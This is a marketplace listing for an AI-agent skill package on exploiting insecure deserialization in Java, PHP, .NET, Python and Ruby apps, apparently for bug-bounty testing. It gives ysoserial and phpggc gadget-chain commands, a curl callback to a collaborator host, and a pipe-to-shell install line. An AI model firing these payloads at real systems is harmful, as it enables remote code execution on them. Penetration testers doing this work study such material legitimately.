web-deserialization
Insecure deserialization → RCE via gadget chains. Load when the app deserializes attacker data: Java (rO0/AC ED base64), PHP `unserialize` (O:), Python pickle, .NET BinaryFormatter/ViewState, Ruby Marshal/YAML. Signals: serialized blobs in cookies/params, `__VIEWSTATE`, `rO0AB`, `O:8:`.
v2026.10.14-ee0e0c52 installs+2 in 7 days27 StarsMITsynced 23 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-deserializationWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package33b22b7f…8ceff64d
33b22b7f3b7a…de0a8ceff64d2 files · 2.9 KBScanLow1 finding
- Links to outside domains
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-deserialization@ee0e0c5
On this page
When it applies
The app takes serialized objects from the client (cookies, hidden fields, params, message queues) and deserializes them. Recognizable by format markers.
Why it works
Deserialization reconstructs objects and can invoke their methods (magic methods, readObject,
__wakeup). A crafted object graph ("gadget chain") strings together existing library methods
to reach a dangerous sink — command execution — during/after deserialization.
Method
Payloads & full variation set:
cheatsheet.mdnext to this file — work the set, not the first line.
- Spot the blob & format: Java
rO0AB/AC ED 00 05, PHPO:8:"...":, .NET__VIEWSTATE/AAEAAAD, Python pickle, Ruby Marshal\x04\x08. - Confirm it's deserialized untrusted: tamper a byte → parse error/behaviour change.
- Generate a gadget chain with the right tool for a library on the classpath:
- Java:
ysoserial CommonsCollections1 'curl <collab>' | base64 - PHP:
phpggc Monolog/RCE1 system id(pick a gadget matching a loaded framework) - .NET:
ysoserial.net(ViewState needs the MAC key or MAC-disabled).
- Java:
- Deliver in the sink; start with an OOB command (
curl/nslookupto your host) as safe proof.
Gotchas
- The chain must match a library actually present (Commons-Collections version, Monolog, etc.) — enumerate dependencies.
- Java: prefer a DNS/OOB gadget to confirm before an RCE payload.
- .NET ViewState needs the machineKey unless MAC validation is off — check for leaked web.config.
Verify success
An OOB callback or command output proving code executed during deserialization.
References
ysoserial / phpggc / ysoserial.net; PortSwigger deserialization labs; OWASP.
Files in this version
- cheatsheet.md3.5 KB
- SKILL.md2.3 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | No | No |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | Nov 13, 2026 | ee0e0c5 | 33b22b7f | Signed | – |
More from NoorQureshi
All from this publisherMore in Web and bug bounty
See the category- src-hunterzhaoxuya520/src-hunter5
- owasp-top10-analysissecurityskills/owasp-top10-analysis5
- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- offensive-xsssnailsploit/offensive-xss5
- offensive-rcesnailsploit/offensive-rce5
- source-review-techniqueaeondave/source-review-technique5
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login